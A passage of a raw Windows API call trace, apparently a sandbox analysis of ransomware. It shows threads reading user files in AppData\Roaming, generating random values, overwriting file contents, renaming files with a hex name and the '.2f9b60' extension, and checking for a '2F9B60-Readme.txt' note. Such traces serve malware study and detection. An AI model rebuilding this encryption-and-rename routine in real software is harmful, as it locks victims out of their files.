0x1b82c760 [0105.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fb0 [0105.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260fb0) returned 1 [0105.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fb0 [0105.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262840 [0105.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0105.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a90) returned 1 [0105.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0105.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82c760 [0105.074] sprintf (in: _Dest=0x1b82c760, _Format="%c%c" | out: _Dest="7f") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c762, _Format="%c%c" | out: _Dest="37") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c764, _Format="%c%c" | out: _Dest="4c") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c766, _Format="%c%c" | out: _Dest="9f") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c768, _Format="%c%c" | out: _Dest="1c") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c76a, _Format="%c%c" | out: _Dest="d7") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c76c, _Format="%c%c" | out: _Dest="38") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c76e, _Format="%c%c" | out: _Dest="02") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c770, _Format="%c%c" | out: _Dest="db") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c772, _Format="%c%c" | out: _Dest="a5") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c774, _Format="%c%c" | out: _Dest="f9") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c776, _Format="%c%c" | out: _Dest="01") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c778, _Format="%c%c" | out: _Dest="cb") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c77a, _Format="%c%c" | out: _Dest="2e") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c77c, _Format="%c%c" | out: _Dest="50") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c77e, _Format="%c%c" | out: _Dest="1b") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c780, _Format="%c%c" | out: _Dest="26") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c782, _Format="%c%c" | out: _Dest="5f") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c784, _Format="%c%c" | out: _Dest="c4") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c786, _Format="%c%c" | out: _Dest="09") returned 2 [0105.074] sprintf (in: _Dest=0x1b82c788, _Format="%c%c" | out: _Dest="2e") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c78a, _Format="%c%c" | out: _Dest="60") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c78c, _Format="%c%c" | out: _Dest="1e") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c78e, _Format="%c%c" | out: _Dest="4d") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c790, _Format="%c%c" | out: _Dest="61") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c792, _Format="%c%c" | out: _Dest="b2") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c794, _Format="%c%c" | out: _Dest="f2") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c796, _Format="%c%c" | out: _Dest="9f") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c798, _Format="%c%c" | out: _Dest="ac") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c79a, _Format="%c%c" | out: _Dest="3f") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c79c, _Format="%c%c" | out: _Dest="6d") returned 2 [0105.075] sprintf (in: _Dest=0x1b82c79e, _Format="%c%c" | out: _Dest="95") returned 2 [0105.075] RtlInitAnsiString (in: DestinationString=0x2ec0f6e8, SourceString="7f374c9f1cd73802dba5f901cb2e501b265fc4092e601e4d61b2f29fac3f6d95" | out: DestinationString="7f374c9f1cd73802dba5f901cb2e501b265fc4092e601e4d61b2f29fac3f6d95") [0105.075] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ec0f6b8, SourceString="7f374c9f1cd73802dba5f901cb2e501b265fc4092e601e4d61b2f29fac3f6d95", AllocateDestinationString=1 | out: DestinationString="7f374c9f1cd73802dba5f901cb2e501b265fc4092e601e4d61b2f29fac3f6d95") returned 0x0 [0105.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4ad0 [0105.075] wcscat (in: _Dest=0x4205db90, _Source="7f374c9f1cd73802" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7f374c9f1cd73802") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7f374c9f1cd73802" [0105.075] wcscat (in: _Dest=0x4205db90, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7f374c9f1cd73802.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7f374c9f1cd73802.2f9b60" [0105.075] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7f374c9f1cd73802.2f9b60", NtPathName=0x2ec0f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7f374c9f1cd73802.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279130 [0105.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0105.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cece810) returned 1 [0105.363] NtQueryInformationFile (in: FileHandle=0x177c, IoStatusBlock=0x2ec0f6f8, FileInformation=0x2ec0f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ec0f6f8, FileInformation=0x2ec0f708) returned 0x0 [0105.363] NtSetInformationFile (FileHandle=0x177c, IoStatusBlock=0x2ec0f6f8, FileInformation=0x2ec0f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205db90) returned 1 [0105.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ad0) returned 1 [0105.464] FlushFileBuffers (hFile=0x177c) returned 1 [0105.488] CloseHandle (hObject=0x177c) returned 1 [0105.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4a40 [0105.553] wcscpy (in: _Dest=0x202a4a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0105.553] wcscat (in: _Dest=0x202a4a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0105.553] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0105.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4a40) returned 1 [0105.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a49b0) returned 1 Thread: id = 924 os_tid = 0x1518 [0101.193] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\biEU_CLfkhjx.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bieu_clfkhjx.gif")) returned 0x2020 [0101.194] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\biEU_CLfkhjx.gif", dwFileAttributes=0x20) returned 1 [0103.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\biEU_CLfkhjx.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bieu_clfkhjx.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1778 [0103.488] GetFileSizeEx (in: hFile=0x1778, lpFileSize=0x2e95fc60 | out: lpFileSize=0x2e95fc60*=57364) returned 1 [0103.488] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0xe010, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.488] ReadFile (in: hFile=0x1778, lpBuffer=0x2e95fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e95fc28, lpOverlapped=0x0 | out: lpBuffer=0x2e95fbe0*, lpNumberOfBytesRead=0x2e95fc28*=0x4, lpOverlapped=0x0) returned 1 [0103.491] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0103.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635f0 [0103.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0103.491] NtQuerySystemTime (in: CurrentTime=0x2e95fb20 | out: CurrentTime=0x2e95fb20*=132462177090046000) returned 0x0 [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x7f87b9c2 [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x1560c6f0 [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x5de332be [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x11758dcd [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x229ee5db [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0xf19f3dd [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x3dc25065 [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x3407610c [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x5770c017 [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x151b5a30 [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x17568e54 [0103.491] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x61c03f31 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x5ee1072f [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x282b6f65 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x59af0ae1 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x26e8390a [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x57d72a60 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0xd483026 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x57ab775 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x33f9d259 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x4f5cf435 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x32f0494f [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x62424d69 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x78c432b3 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x5c7875aa [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x7017d60 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x76649a54 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x68802756 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x5f0c1dc1 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x482e3d23 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x14cd1c68 [0103.492] RtlRandomEx (in: Seed=0x2e95fb10 | out: Seed=0x2e95fb10) returned 0x1c27da91 [0103.501] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.501] ReadFile (in: hFile=0x1778, lpBuffer=0x41f2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e95fb80, lpOverlapped=0x0 | out: lpBuffer=0x41f2a520*, lpNumberOfBytesRead=0x2e95fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0103.501] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0103.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0103.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0103.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262030) returned 1 [0103.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2e130 [0103.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0103.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0103.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626c0) returned 1 [0103.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0103.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0103.502] WriteFile (in: hFile=0x1778, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e95fb80, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x2e95fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0103.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0103.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2a520) returned 1 [0103.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f230 [0103.971] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.971] WriteFile (in: hFile=0x1778, lpBuffer=0x4205a890*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e95fc30, lpOverlapped=0x0 | out: lpBuffer=0x4205a890*, lpNumberOfBytesWritten=0x2e95fc30*=0x112, lpOverlapped=0x0) returned 1 [0104.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0104.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263440 [0104.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263440) returned 1 [0104.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263440 [0104.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0104.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0104.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263500) returned 1 [0104.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0104.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97580 [0104.154] sprintf (in: _Dest=0x1cd97580, _Format="%c%c" | out: _Dest="ee") returned 2 [0104.155] sprintf (in: _Dest=0x1cd97582, _Format="%c%c" | out: _Dest="c8") returned 2 [0104.155] sprintf (in: _Dest=0x1cd97584, _Format="%c%c" | out: _Dest="65") returned 2 [0104.155] sprintf (in: _Dest=0x1cd97586, _Format="%c%c" | out: _Dest="6f") returned 2 [0104.155] sprintf (in: _Dest=0x1cd97588, _Format="%c%c" | out: _Dest="9f") returned 2 [0104.155] sprintf (in: _Dest=0x1cd9758a, _Format="%c%c" | out: _Dest="8e") returned 2 [0104.155] sprintf (in: _Dest=0x1cd9758c, _Format="%c%c" | out: _Dest="93") returned 2 [0104.155] sprintf (in: _Dest=0x1cd9758e, _Format="%c%c" | out: _Dest="a9") returned 2 [0104.155] sprintf (in: _Dest=0x1cd97590, _Format="%c%c" | out: _Dest="0d") returned 2 [0104.155] sprintf (in: _Dest=0x1cd97592, _Format="%c%c" | out: _Dest="93") returned 2 [0104.155] sprintf (in: _Dest=0x1cd97594, _Format="%c%c" | out: _Dest="1f") returned 2 [0104.155] sprintf (in: _Dest=0x1cd97596, _Format="%c%c" | out: _Dest="49") returned 2 [0104.155] sprintf (in: _Dest=0x1cd97598, _Format="%c%c" | out: _Dest="8d") returned 2 [0104.155] sprintf (in: _Dest=0x1cd9759a, _Format="%c%c" | out: _Dest="f6") returned 2 [0104.155] sprintf (in: _Dest=0x1cd9759c, _Format="%c%c" | out: _Dest="10") returned 2 [0104.155] sprintf (in: _Dest=0x1cd9759e, _Format="%c%c" | out: _Dest="a9") returned 2 [0104.155] sprintf (in: _Dest=0x1cd975a0, _Format="%c%c" | out: _Dest="86") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975a2, _Format="%c%c" | out: _Dest="91") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975a4, _Format="%c%c" | out: _Dest="63") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975a6, _Format="%c%c" | out: _Dest="57") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975a8, _Format="%c%c" | out: _Dest="87") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975aa, _Format="%c%c" | out: _Dest="06") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975ac, _Format="%c%c" | out: _Dest="bd") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975ae, _Format="%c%c" | out: _Dest="e6") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975b0, _Format="%c%c" | out: _Dest="5c") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975b2, _Format="%c%c" | out: _Dest="5b") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975b4, _Format="%c%c" | out: _Dest="52") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975b6, _Format="%c%c" | out: _Dest="03") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975b8, _Format="%c%c" | out: _Dest="06") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975ba, _Format="%c%c" | out: _Dest="22") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975bc, _Format="%c%c" | out: _Dest="6b") returned 2 [0104.156] sprintf (in: _Dest=0x1cd975be, _Format="%c%c" | out: _Dest="ec") returned 2 [0104.156] RtlInitAnsiString (in: DestinationString=0x2e95fca8, SourceString="eec8656f9f8e93a90d931f498df610a9869163578706bde65c5b520306226bec" | out: DestinationString="eec8656f9f8e93a90d931f498df610a9869163578706bde65c5b520306226bec") [0104.156] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e95fc78, SourceString="eec8656f9f8e93a90d931f498df610a9869163578706bde65c5b520306226bec", AllocateDestinationString=1 | out: DestinationString="eec8656f9f8e93a90d931f498df610a9869163578706bde65c5b520306226bec") returned 0x0 [0104.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050aa40 [0104.157] wcscat (in: _Dest=0x202b0fb0, _Source="eec8656f9f8e93a9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eec8656f9f8e93a9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eec8656f9f8e93a9" [0104.157] wcscat (in: _Dest=0x202b0fb0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eec8656f9f8e93a9.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eec8656f9f8e93a9.2f9b60" [0104.157] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eec8656f9f8e93a9.2f9b60", NtPathName=0x2e95fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eec8656f9f8e93a9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278fb0 [0104.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278fb0) returned 1 [0104.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecbe80) returned 1 [0104.535] NtQueryInformationFile (in: FileHandle=0x1778, IoStatusBlock=0x2e95fcb8, FileInformation=0x2e95fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e95fcb8, FileInformation=0x2e95fcc8) returned 0x0 [0104.535] NtSetInformationFile (FileHandle=0x1778, IoStatusBlock=0x2e95fcb8, FileInformation=0x2e95fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0fb0) returned 1 [0104.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aa40) returned 1 [0104.537] FlushFileBuffers (hFile=0x1778) returned 1 [0104.617] CloseHandle (hObject=0x1778) returned 1 [0104.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4800 [0104.618] wcscpy (in: _Dest=0x202a4800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.618] wcscat (in: _Dest=0x202a4800, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.618] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4800) returned 1 [0104.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4a40) returned 1 Thread: id = 925 os_tid = 0x151c [0101.195] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cmtglk.doc")) returned 0x2020 [0101.195] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc", dwFileAttributes=0x20) returned 1 [0103.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cmtglk.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1784 [0103.535] GetFileSizeEx (in: hFile=0x1784, lpFileSize=0x27c0fb20 | out: lpFileSize=0x27c0fb20*=7247) returned 1 [0103.535] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x1c4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.535] ReadFile (in: hFile=0x1784, lpBuffer=0x27c0faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27c0fae8, lpOverlapped=0x0 | out: lpBuffer=0x27c0faa0*, lpNumberOfBytesRead=0x27c0fae8*=0x4, lpOverlapped=0x0) returned 1 [0103.536] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0103.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0103.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e10 [0103.536] NtQuerySystemTime (in: CurrentTime=0x27c0f9e0 | out: CurrentTime=0x27c0f9e0*=132462177090358000) returned 0x0 [0103.536] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x2346f1d [0103.536] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x74888a67 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x390bfc24 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0xd5c6fb1 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x8876388 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x9940071 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x202bd58a [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x48ff8104 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x532a18e [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x14147bc1 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x1c68b7b9 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x763820af [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x51571049 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x760c6a43 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x587f8642 [0103.537] RtlRandomEx (in: 